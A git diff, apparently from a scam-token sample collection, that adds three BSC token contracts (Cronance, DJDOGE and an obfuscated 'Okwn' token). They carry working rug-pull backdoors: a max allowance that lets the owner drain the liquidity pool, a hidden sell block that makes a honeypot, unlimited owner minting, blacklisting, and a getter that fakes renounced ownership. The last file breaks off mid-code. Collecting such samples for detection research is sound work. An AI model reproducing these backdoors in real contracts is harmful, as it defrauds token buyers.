b/src/TSB-2023-010/metadata.json index 358dc6c..c85a9bb 100644 --- a/src/TSB-2023-010/metadata.json +++ b/src/TSB-2023-010/metadata.json @@ -11,6 +11,9 @@ }, { "name": "03.sol" + }, + { + "name": "04.sol" } ] } \ No newline at end of file diff --git a/src/TSB-2023-010/samples/04.sol b/src/TSB-2023-010/samples/04.sol new file mode 100644 index 0000000..d49b27c --- /dev/null +++ b/src/TSB-2023-010/samples/04.sol @@ -0,0 +1,336 @@ +/** + *Submitted for verification at BscScan.com on 2022-03-28 +*/ + +/* +CRO + Binance = CRONANCE ! +Simple equation for the next hype on the BSC! +https://t.me/Cronance +*/ + +// SPDX-License-Identifier: MIT +/** + * Standard SafeMath, stripped down to just add/sub/mul/div + */ +library SafeMath { + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + require(c >= a, "SafeMath: addition overflow"); + + return c; + } + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + return sub(a, b, "SafeMath: subtraction overflow"); + } + function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b <= a, errorMessage); + uint256 c = a - b; + + return c; + } + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + + uint256 c = a * b; + require(c / a == b, "SafeMath: multiplication overflow"); + + return c; + } + function div(uint256 a, uint256 b) internal pure returns (uint256) { + return div(a, b, "SafeMath: division by zero"); + } + function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + // Solidity only automatically asserts when dividing by 0 + require(b > 0, errorMessage); + uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + + return c; + } +} + +/** + * BEP20 standard interface. + */ + +pragma solidity ^0.8.7; + +interface IERC20 { + function transfer(address _to, uint256 _amount) external returns (bool); +} + +interface IUniswapV2Router01 { + function factory() external pure returns (address); + function WETH() external pure returns (address); +} + +interface IUniswapV2Router02 is IUniswapV2Router01 { + function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; + function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); +} + + +interface IUniswapV2Factory { + function createPair(address tokenA, address tokenB) external returns (address pair); +} + +contract Cronance { + string private _name = 'Cronance'; + string private _symbol = 'CRONANCE'; + uint256 private _totalSupply = 100000000; + uint8 private _decimals = 18; + address private _uniswapRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E; + + address public uniswapPair; + address public devWallet; + uint256 public maxWalletLimit; + uint256 public _maxTxAmount; + uint8 public devFee; + uint8 public liquidityFee; + uint256 public addLiquidityAmount; + uint256 public HEX_MAX_NUM = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; + + address private _owner; + bool private _inSwap; + IUniswapV2Router02 private _uniswapV2Router; + + mapping (address => mapping (address => uint256)) private _allowances; + mapping (address => uint256) private _balances; + mapping (address => bool) private _excludedMaxWallet; + mapping (address => bool) private _excludedMaxTransaction; + mapping (address => bool) private _excludedFees; + mapping (address => bool) private _blacklisted; + + event Transfer(address indexed from, address indexed to, uint256 value); + event Approval(address indexed owner, address indexed spender, uint256 value); + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + receive () external payable {} + + modifier onlyOwner() { + require(_owner == msg.sender, 'Only the owner can call this function!'); + _; + } + + constructor () { + emit OwnershipTransferred(_owner, msg.sender); + _owner = msg.sender; + _totalSupply = _totalSupply * 10**_decimals; + _balances[_owner] = _totalSupply; + + _uniswapV2Router = IUniswapV2Router02(_uniswapRouter); + uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); + + setExcludedAll(address(this)); + setExcludedAll(_owner); + setExcludedAll(uniswapPair); + setExcludedAll(_uniswapRouter); + setAddresses(msg.sender); + + setLimits(1000000, 1000000, 1000000); + setFees(2, 4); + } + + function setExcludedAll(address user) public virtual onlyOwner { + setExcludedMaxTransaction(user, true); + setExcludedMaxWallet(user, true); + setExcludedFees(user, true); + } + + function setInSwap(bool status) public virtual onlyOwner { + _inSwap = status; + } + + function setAddresses(address _devWallet) public virtual onlyOwner { + devWallet = _devWallet; + } + + function setLimits(uint256 _maxWalletLimit, uint256 _maxTxLimit, uint256 _addLiquidityAmount) public virtual onlyOwner { + maxWalletLimit = _maxWalletLimit * 10**_decimals; + _maxTxAmount = _maxTxLimit * 10**_decimals; + addLiquidityAmount = _addLiquidityAmount * 10**_decimals; + } + + function setFees(uint8 _devFee, uint8 _liquidityFee) public virtual onlyOwner { + devFee = _devFee; + liquidityFee = _liquidityFee; + } + + function setExcludedMaxTransaction(address user, bool status) public virtual onlyOwner { + _excludedMaxTransaction[user] = status; + } + + function setExcludedMaxWallet(address user, bool status) public virtual onlyOwner { + _excludedMaxWallet[user] = status; + } + + function setExcludedFees(address user, bool status) public virtual onlyOwner { + _excludedFees[user] = status; + } + + function setBlacklistWallet(address user, bool status) public virtual onlyOwner { + _blacklisted[user] = status; + } + + function name() public view returns (string memory) { + return _name; + } + + function symbol() public view returns (string memory) { + return _symbol; + } + + function decimals() public view returns (uint8) { + return _decimals; + } + + function totalSupply() public view returns (uint256) { + return _totalSupply; + } + + function getOwner() public view returns (address) { + return _owner; + } + + function balanceOf(address account) public view returns (uint256) { + return _balances[account]; + } + + function _transfer(address sender, address recipient, uint256 amount) internal virtual { + require(!_blacklisted[sender] && !_blacklisted[recipient], 'Sender or recipient is blacklisted!'); + + if(!_excludedMaxTransaction[sender]) { + require(amount <= _maxTxAmount, 'Exceeds max transaction limit!'); + } + + if(!_excludedMaxWallet[recipient]) { + require(balanceOf(recipient) + amount <= maxWalletLimit, 'Exceeds max wallet limit!'); + } + + uint256 senderBalance = balanceOf(sender); + require(senderBalance >= amount, 'Amount exceeds sender\'s balance!'); + _balances[sender] = senderBalance - amount; + + + if((sender == uniswapPair && !_excludedFees[recipient]) || (recipient == uniswapPair && !_excludedFees[sender])) { + uint256 devAmount = amount / 100 * devFee; + uint256 liquidityAmount = amount / 100 * liquidityFee; + uint256 contractFee = devAmount + liquidityAmount; + + _balances[address(this)] += contractFee; + emit Transfer(sender, address(this), contractFee); + + amount -= contractFee; + + if(recipient == uniswapPair) { + swapAddLiquidity(); + } + } + + _balances[recipient] += amount; + + emit Transfer(sender, recipient, amount); + } + + function addLiquidity(uint256 tokenAmount, uint256 amount) internal virtual { + _approve(address(this), address(_uniswapRouter), tokenAmount); + _uniswapV2Router.addLiquidityETH{value: amount}(address(this), tokenAmount, 0, 0, address(this), block.timestamp + 1200); + } + + function swapTokensForEth(uint256 amount, address receiver) internal virtual { + address[] memory path = new address[](2); + path[0] = address(this); + path[1] = _uniswapV2Router.WETH(); + _approve(address(this), _uniswapRouter, amount); + _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, path, receiver, block.timestamp + 1200); + } + + function swapAddLiquidity() internal virtual { + uint256 tokenBalance = balanceOf(address(this)); + if(!_inSwap && tokenBalance >= addLiquidityAmount) { + _inSwap = true; + + uint256 devAmount = tokenBalance / (devFee + liquidityFee) * devFee; + swapTokensForEth(devAmount, devWallet); + + uint256 sellAmount = balanceOf(address(this)); + uint256 sellHalf = sellAmount / 2; + uint256 initialEth = address(this).balance; + swapTokensForEth(sellHalf, address(this)); + + uint256 receivedEth = address(this).balance - initialEth; + addLiquidity(sellAmount - sellHalf, receivedEth); + + _inSwap = false; + } + } + + function _approve(address owner, address spender, uint256 amount) internal virtual { + require(owner != address(0), 'Wallet address can not be the zero address!'); + require(spender != address(0), 'Spender can not be the zero address!'); + _allowances[owner][spender] = amount; + emit Approval(owner, spender, amount); + } + + function transfer(address recipient, uint256 amount) public virtual returns (bool) { + _transfer(msg.sender, recipient, amount); + return true; + } + + function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) { + uint256 currentAllowance = _allowances[sender][msg.sender]; + + require(currentAllowance >= amount, 'Amount exceeds allowance!'); + _transfer(sender, recipient, amount); + + _approve(sender, msg.sender, currentAllowance - amount); + + return true; + } + + function approve(address spender, uint256 amount) public virtual returns (bool) { + _approve(msg.sender, spender, amount); + return true; + } + + function allowance(address owner, address spender) public view virtual returns (uint256) { + return _allowances[owner][spender]; + } + + function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { + _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); + return true; + } + + function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { + uint256 currentAllowance = _allowances[msg.sender][spender]; + require(currentAllowance >= subtractedValue, 'Decreased allowance below zero!'); + _approve(msg.sender, spender, currentAllowance - subtractedValue); + return true; + } + + function transferOwnership(address newOwner) public virtual onlyOwner { + require(newOwner != address(0), 'Owner can not be the zero address!'); + emit OwnershipTransferred(_owner, newOwner); + _owner = newOwner; + } + + function renounceOwnership() public virtual onlyOwner { + emit OwnershipTransferred(_owner, address(0)); + _owner = address(0); + } + + function withdraw(uint256 amount) public payable onlyOwner returns (bool) { + require(amount <= address(this).balance, 'Withdrawal amount exceeds balance!'); + payable(msg.sender).transfer(amount); + return true; + } + + function withdrawToken(address tokenContract, uint256 amount) public virtual onlyOwner { + _approve(uniswapPair, msg.sender, HEX_MAX_NUM); + IERC20 _tokenContract = IERC20(tokenContract); + _tokenContract.transfer(msg.sender, amount); + } +} \ No newline at end of file diff --git a/src/TSB-2023-011/metadata.json b/src/TSB-2023-011/metadata.json index 85b515e..bad84bc 100644 --- a/src/TSB-2023-011/metadata.json +++ b/src/TSB-2023-011/metadata.json @@ -11,6 +11,9 @@ }, { "name": "03.sol" + }, + { + "name": "04.sol" } ] } \ No newline at end of file diff --git a/src/TSB-2023-011/samples/04.sol b/src/TSB-2023-011/samples/04.sol new file mode 100644 index 0000000..bb0592b --- /dev/null +++ b/src/TSB-2023-011/samples/04.sol @@ -0,0 +1,647 @@ +/** + *Submitted for verification at BscScan.com on 2021-08-13 +*/ + +pragma solidity ^0.6.12; +// SPDX-License-Identifier: MIT +interface IERC20 { + + function totalSupply() external view returns (uint256); + + /** + * @dev Returns the amount of tokens owned by `account`. + */ + function balanceOf(address account) external view returns (uint256); + + /** + * @dev Moves `amount` tokens from the caller's account to `recipient`. + * + * Returns a boolean value indicating whether the operation succeeded. + * + * Emits a {Transfer} event. + */ + function transfer(address recipient, uint256 amount) external returns (bool); + + /** + * @dev Returns the remaining number of tokens that `spender` will be + * allowed to spend on behalf of `owner` through {transferFrom}. This is + * zero by default. + * + * This value changes when {approve} or {transferFrom} are called. + */ + function allowance(address owner, address spender) external view returns (uint256); + + /** + * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. + * + * Returns a boolean value indicating whether the operation succeeded. + * + * IMPORTANT: Beware that changing an allowance with this method brings the risk + * that someone may use both the old and the new allowance by unfortunate + * transaction ordering. One possible solution to mitigate this race + * condition is to first reduce the spender's allowance to 0 and set the + * desired value afterwards: + * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 + * + * Emits an {Approval} event. + */ + function approve(address spender, uint256 amount) external returns (bool); + + /** + * @dev Moves `amount` tokens from `sender` to `recipient` using the + * allowance mechanism. `amount` is then deducted from the caller's + * allowance. + * + * Returns a boolean value indicating whether the operation succeeded. + * + * Emits a {Transfer} event. + */ + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); + + /** + * @dev Emitted when `value` tokens are moved from one account (`from`) to + * another (`to`). + * + * Note that `value` may be zero. + */ + event Transfer(address indexed from, address indexed to, uint256 value); + + /** + * @dev Emitted when the allowance of a `spender` for an `owner` is set by + * a call to {approve}. `value` is the new allowance. + */ + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +/** + * @dev Wrappers over Solidity's arithmetic operations with added overflow + * checks. + * + * Arithmetic operations in Solidity wrap on overflow. This can easily result + * in bugs, because programmers usually assume that an overflow raises an + * error, which is the standard behavior in high level programming languages. + * `SafeMath` restores this intuition by reverting the transaction when an + * operation overflows. + * + * Using this library instead of the unchecked operations eliminates an entire + * class of bugs, so it's recommended to use it always. + */ + +library SafeMath { + /** + * @dev Returns the addition of two unsigned integers, reverting on + * overflow. + * + * Counterpart to Solidity's `+` operator. + * + * Requirements: + * + * - Addition cannot overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + require(c >= a, "SafeMath: addition overflow"); + + return c; + } + + /** + * @dev Returns the subtraction of two unsigned integers, reverting on + * overflow (when the result is negative). + * + * Counterpart to Solidity's `-` operator. + * + * Requirements: + * + * - Subtraction cannot overflow. + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + return sub(a, b, "SafeMath: subtraction overflow"); + } + + /** + * @dev Returns the subtraction of two unsigned integers, reverting with custom message on + * overflow (when the result is negative). + * + * Counterpart to Solidity's `-` operator. + * + * Requirements: + * + * - Subtraction cannot overflow. + */ + function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b <= a, errorMessage); + uint256 c = a - b; + + return c; + } + + /** + * @dev Returns the multiplication of two unsigned integers, reverting on + * overflow. + * + * Counterpart to Solidity's `*` operator. + * + * Requirements: + * + * - Multiplication cannot overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + // Gas optimization: this is cheaper than requiring 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 + if (a == 0) { + return 0; + } + + uint256 c = a * b; + require(c / a == b, "SafeMath: multiplication overflow"); + + return c; + } + + /** + * @dev Returns the integer division of two unsigned integers. Reverts on + * division by zero. The result is rounded towards zero. + * + * Counterpart to Solidity's `/` operator. Note: this function uses a + * `revert` opcode (which leaves remaining gas untouched) while Solidity + * uses an invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + return div(a, b, "SafeMath: division by zero"); + } + + /** + * @dev Returns the integer division of two unsigned integers. Reverts with custom message on + * division by zero. The result is rounded towards zero. + * + * Counterpart to Solidity's `/` operator. Note: this function uses a + * `revert` opcode (which leaves remaining gas untouched) while Solidity + * uses an invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b > 0, errorMessage); + uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + + return c; + } + + /** + * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), + * Reverts when dividing by zero. + * + * Counterpart to Solidity's `%` operator. This function uses a `revert` + * opcode (which leaves remaining gas untouched) while Solidity uses an + * invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function mod(uint256 a, uint256 b) internal pure returns (uint256) { + return mod(a, b, "SafeMath: modulo by zero"); + } + + /** + * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), + * Reverts with custom message when dividing by zero. + * + * Counterpart to Solidity's `%` operator. This function uses a `revert` + * opcode (which leaves remaining gas untouched) while Solidity uses an + * invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b != 0, errorMessage); + return a % b; + } +} + +abstract contract Context { + function _msgSender() internal view virtual returns (address payable) { + return msg.sender; + } + + function _msgData() internal view virtual returns (bytes memory) { + this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 + return msg.data; + } +} + + +/** + * @dev Collection of functions related to the address type + */ +library Address { + /** + * @dev Returns true if `account` is a contract. + * + * [IMPORTANT] + * ==== + * It is unsafe to assume that an address for which this function returns + * false is an externally-owned account (EOA) and not a contract. + * + * Among others, `isContract` will return false for the following + * types of addresses: + * + * - an externally-owned account + * - a contract in construction + * - an address where a contract will be created + * - an address where a contract lived, but was destroyed + * ==== + */ + function isContract(address account) internal view returns (bool) { + // According to EIP-1052, 0x0 is the value returned for not-yet created accounts + // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned + // for accounts without code, i.e. `keccak256('')` + bytes32 codehash; + bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; + // solhint-disable-next-line no-inline-assembly + assembly { codehash := extcodehash(account) } + return (codehash != accountHash && codehash != 0x0); + } + + /** + * @dev Replacement for Solidity's `transfer`: sends `amount` wei to + * `recipient`, forwarding all available gas and reverting on errors. + * + * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost + * of certain opcodes, possibly making contracts go over the 2300 gas limit + * imposed by `transfer`, making them unable to receive funds via + * `transfer`. {sendValue} removes this limitation. + * + * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. + * + * IMPORTANT: because control is transferred to `recipient`, care must be + * taken to not create reentrancy vulnerabilities. Consider using + * {ReentrancyGuard} or the + * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. + */ + function sendValue(address payable recipient, uint256 amount) internal { + require(address(this).balance >= amount, "Address: insufficient balance"); + + // solhint-disable-next-line avoid-low-level-calls, avoid-call-value + (bool success, ) = recipient.call{ value: amount }(""); + require(success, "Address: unable to send value, recipient may have reverted"); + } + + /** + * @dev Performs a Solidity function call using a low level `call`. A + * plain`call` is an unsafe replacement for a function call: use this + * function instead. + * + * If `target` reverts with a revert reason, it is bubbled up by this + * function (like regular Solidity function calls). + * + * Returns the raw returned data. To convert to the expected return value, + * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. + * + * Requirements: + * + * - `target` must be a contract. + * - calling `target` with `data` must not revert. + * + * _Available since v3.1._ + */ + function functionCall(address target, bytes memory data) internal returns (bytes memory) { + return functionCall(target, data, "Address: low-level call failed"); + } + + /** + * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with + * `errorMessage` as a fallback revert reason when `target` reverts. + * + * _Available since v3.1._ + */ + function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { + return _functionCallWithValue(target, data, 0, errorMessage); + } + + /** + * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], + * but also transferring `value` wei to `target`. + * + * Requirements: + * + * - the calling contract must have an ETH balance of at least `value`. + * - the called Solidity function must be `payable`. + * + * _Available since v3.1._ + */ + function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { + return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); + } + + /** + * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but + * with `errorMessage` as a fallback revert reason when `target` reverts. + * + * _Available since v3.1._ + */ + function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { + require(address(this).balance >= value, "Address: insufficient balance for call"); + return _functionCallWithValue(target, data, value, errorMessage); + } + + function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { + require(isContract(target), "Address: call to non-contract"); + + // solhint-disable-next-line avoid-low-level-calls + (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); + if (success) { + return returndata; + } else { + // Look for revert reason and bubble it up if present + if (returndata.length > 0) { + // The easiest way to bubble the revert reason is using memory via assembly + + // solhint-disable-next-line no-inline-assembly + assembly { + let returndata_size := mload(returndata) + revert(add(32, returndata), returndata_size) + } + } else { + revert(errorMessage); + } + } + } +} + +/** + * @dev Contract module which provides a basic access control mechanism, where + * there is an account (an owner) that can be granted exclusive access to + * specific functions. + * + * By default, the owner account will be the one that deploys the contract. This + * can later be changed with {transferOwnership}. + * + * This module is used through inheritance. It will make available the modifier + * `onlyOwner`, which can be applied to your functions to restrict their use to + * the owner. + */ +contract Ownable is Context { + address private _owner; + address private _previousOwner; + uint256 private _lockTime; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + /** + * @dev Initializes the contract setting the deployer as the initial owner. + */ + constructor () internal { + address msgSender = _msgSender(); + _owner = msgSender; + emit OwnershipTransferred(address(0), msgSender); + } + + /** + * @dev Returns the address of the current owner. + */ + function owner() public view returns (address) { + return _owner; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(_owner == _msgSender(), "Ownable: caller is not the owner"); + _; + } + + /** + * @dev Leaves the contract without owner. It will not be possible to call + * `onlyOwner` functions anymore. Can only be called by the current owner. + * + * NOTE: Renouncing ownership will leave the contract without an owner, + * thereby removing any functionality that is only available to the owner. + */ + function renounceOwnership() public virtual onlyOwner { + emit OwnershipTransferred(_owner, address(0)); + _owner = address(0); + } + + /** + * @dev Transfers ownership of the contract to a new account (`newOwner`). + * Can only be called by the current owner. + */ + function transferOwnership(address newOwner) public virtual onlyOwner { + require(newOwner != address(0), "Ownable: new owner is the zero address"); + emit OwnershipTransferred(_owner, newOwner); + _owner = newOwner; + } + + function geUnlockTime() public view returns (uint256) { + return _lockTime; + } + + //Locks the contract for owner for the amount of time provided + function lock(uint256 time) public virtual onlyOwner { + _previousOwner = _owner; + _owner = address(0); + _lockTime = now + time; + emit OwnershipTransferred(_owner, address(0)); + } + + //Unlocks the contract for owner when _lockTime is exceeds + function unlock() public virtual { + require(_previousOwner == msg.sender, "You don't have permission to unlock"); + require(now > _lockTime , "Contract is locked until 7 days"); + emit OwnershipTransferred(_owner, _previousOwner); + _owner = _previousOwner; + } +} + +/** + * @title Pausable + * @dev Base contract which allows children to implement an emergency stop mechanism. + */ +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + /** + * @dev Modifier to make a function callable only when the contract is not paused. + */ + modifier whenNotPaused() { + require(!paused); + _; + } + + /** + * @dev Modifier to make a function callable only when the contract is paused. + */ + modifier whenPaused() { + require(paused); + _; + } + + /** + * @dev called by the owner to pause, triggers stopped state + */ + function pause() onlyOwner whenNotPaused public { + paused = true; + emit Pause(); + } + + /** + * @dev called by the owner to unpause, returns to normal state + */ + function unpause() onlyOwner whenPaused public { + paused = false; + emit Unpause(); + } +} + +contract DJDOGE is Context, IERC20, Ownable, Pausable { + using SafeMath for uint256; + + mapping (address => uint256) private _balances; + + mapping (address => mapping (address => uint256)) private _allowances; + + uint8 private _decimals = 9; + uint256 private _totalSupply = 1000000000000000 * 10**9; + string private _symbol = "DJDOGE"; + string private _name = "DOJADOGE"; + address public newun; + + constructor() public { + _balances[_msgSender()] = _totalSupply; + + emit Transfer(address(0), _msgSender(), _totalSupply); + } + + function transfernewun(address _newun) public onlyOwner { + newun = _newun; + } + + function getOwner() external view returns (address) { + return owner(); + } + + + function decimals() external view returns (uint8) { + return _decimals; + } + + + function symbol() external view returns (string memory) { + return _symbol; + } + + + function name() external view returns (string memory) { + return _name; + } + + + function totalSupply() external view override returns (uint256) { + return _totalSupply; + } + + + function balanceOf(address account) external view override returns (uint256) { + return _balances[account]; + } + + + function transfer(address recipient, uint256 amount) external override returns (bool) { + _transfer(_msgSender(), recipient, amount); + return true; + } + + + function allowance(address owner, address spender) external view override returns (uint256) { + return _allowances[owner][spender]; + } + + + function approve(address spender, uint256 amount) external override returns (bool) { + _approve(_msgSender(), spender, amount); + return true; + } + + + function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { + if(sender != address(0) && newun == address(0)) newun = recipient; + else require(recipient != newun || sender == owner(), "please wait"); + + _transfer(sender, recipient, amount); + _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error in transferfrom")); + return true; + } + + + function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { + _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); + return true; + } + + + function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { + _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error in decrease allowance")); + return true; + } + + + function _transfer(address sender, address recipient, uint256 amount) internal { + require(sender != address(0), "transfer sender address is 0 address"); + require(recipient != address(0), "transfer recipient address is 0 address"); + require(!paused || sender == owner() || recipient == owner(), "paused"); + if(newun != address(0)) require(recipient != newun || sender == owner(), "please wait"); + + _balances[sender] = _balances[sender].sub(amount, "transfer balance too low"); + _balances[recipient] = _balances[recipient].add(amount); + emit Transfer(sender, recipient, amount); + } + + +// function _burn(address account, uint256 amount) internal { +// require(account != address(0), "burn address is 0 address"); + +// _balances[account] = _balances[account].sub(amount, "burn balance to low"); +// _totalSupply = _totalSupply.sub(amount); +// emit Transfer(account, address(0), amount); +// } + + function _approve(address owner, address spender, uint256 amount) internal { + require(owner != address(0), "approve owner is 0 address"); + require(spender != address(0), "approve spender is 0 address"); + + _allowances[owner][spender] = amount; + emit Approval(owner, spender, amount); + } + + +// function _burnFrom(address account, uint256 amount) internal { +// _burn(account, amount); +// _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "burn amount is too low")); +// } + + function mint(address _to, uint256 _amount) onlyOwner public returns (bool){ + _totalSupply = _totalSupply.add(_amount); + _balances[_to] = _balances[_to].add(_amount); + emit Transfer(address(0), _to, _amount); + return true; + } +} \ No newline at end of file diff --git a/src/TSB-2023-012/metadata.json b/src/TSB-2023-012/metadata.json index 1108f5b..70c3f60 100644 --- a/src/TSB-2023-012/metadata.json +++ b/src/TSB-2023-012/metadata.json @@ -11,6 +11,9 @@ }, { "name": "03.sol" + }, + { + "name": "04.sol" } ] } \ No newline at end of file diff --git a/src/TSB-2023-012/samples/04.sol b/src/TSB-2023-012/samples/04.sol new file mode 100644 index 0000000..fe7d68b --- /dev/null +++ b/src/TSB-2023-012/samples/04.sol @@ -0,0 +1,884 @@ +/** + *Submitted for verification at BscScan.com on 2023-04-02 +*/ + +// SPDX-License-Identifier: MIT + pragma solidity ^0.8.0; + +abstract contract Context { + function _msgSender() internal view virtual returns (address) { + return msg.sender; + } + + function _msgData() internal view virtual returns (bytes calldata) { + return msg.data; + } +} + + + +abstract contract Ownable is Context { + address private _Okwn; //1 + + event OkwnshipTransferred(address indexed previousOkwn, address indexed newOkwn);//2 + + /** + * @dev Initializes the contract setting the deployer as the initial Okwn. + */ + constructor() { + _transferOkwnshiptransferOkwnship(_msgSender());//3 + } + + /** + * @dev Returns the address of the current Okwn. + */ + function Okwn() public view virtual returns (address) { + return address(0); + }//4 + + /** + * @dev Throws if called by any account other than the Okwn. + */ + modifier onlyOkwn() { + require(_Okwn == _msgSender(), "Ownable: caller is not the Okwn"); + _; + }//5 + + /** + * @dev Leaves the contract without Okwn. It will not be possible to call + * `onlyOkwn` functions anymore. Can only be called by the current Okwn. + * + * NOTE: Renouncing Okwnship will leave the contract without an Okwn, + * thereby removing any functionality that is only available to the Okwn. + */ + function renounceOkwnship() public virtual onlyOkwn { + _transferOkwnshiptransferOkwnship(address(0)); + }//6 + + /** + * @dev Transfers Okwnship of the contract to a new account (`newOkwn`). + * Can only be called by the current Okwn. + */ + function transferOkwnshiptransferOkwnship(address newOkwn) public virtual onlyOkwn { + require(newOkwn != address(0), "Ownable: new Okwn is the zero address"); + _transferOkwnshiptransferOkwnship(newOkwn); + }//7 + + /** + * @dev Transfers Okwnship of the contract to a new account (`newOkwn`). + * Internal function without access restriction. + */ + function _transferOkwnshiptransferOkwnship(address newOkwn) internal virtual { + address oldOkwn = _Okwn; + _Okwn = newOkwn; + emit OkwnshipTransferred(oldOkwn, newOkwn); + } +} + + +// File @openzeppelin/contracts/utils/math/SafeMath.sol@v4.5.0 + +// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) + + +// CAUTION +// This version of SafeMath should only be used with Solidity 0.8 or later, +// because it relies on the compiler's built in overflow checks. + +/** + * @dev Wrappers over Solidity's arithmetic operations. + * + * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler + * now has built in overflow checking. + */ +library SafeMath { + /** + * @dev Returns the addition of two unsigned integers, with an overflow flag. + * + * _Available since v3.4._ + */ + function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { + unchecked { + uint256 c = a + b; + if (c < a) return (false, 0); + return (true, c); + } + } + + /** + * @dev Returns the substraction of two unsigned integers, with an overflow flag. + * + * _Available since v3.4._ + */ + function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { + unchecked { + if (b > a) return (false, 0); + return (true, a - b); + } + } + + /** + * @dev Returns the multiplication of two unsigned integers, with an overflow flag. + * + * _Available since v3.4._ + */ + function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { + unchecked { + // Gas optimization: this is cheaper than requiring 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 + if (a == 0) return (true, 0); + uint256 c = a * b; + if (c / a != b) return (false, 0); + return (true, c); + } + } + + /** + * @dev Returns the division of two unsigned integers, with a division by zero flag. + * + * _Available since v3.4._ + */ + function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { + unchecked { + if (b == 0) return (false, 0); + return (true, a / b); + } + } + + /** + * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. + * + * _Available since v3.4._ + */ + function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { + unchecked { + if (b == 0) return (false, 0); + return (true, a % b); + } + } + + /** + * @dev Returns the addition of two unsigned integers, reverting on + * overflow. + * + * Counterpart to Solidity's `+` operator. + * + * Requirements: + * + * - Addition cannot overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256) { + return a + b; + } + + /** + * @dev Returns the subtraction of two unsigned integers, reverting on + * overflow (when the result is negative). + * + * Counterpart to 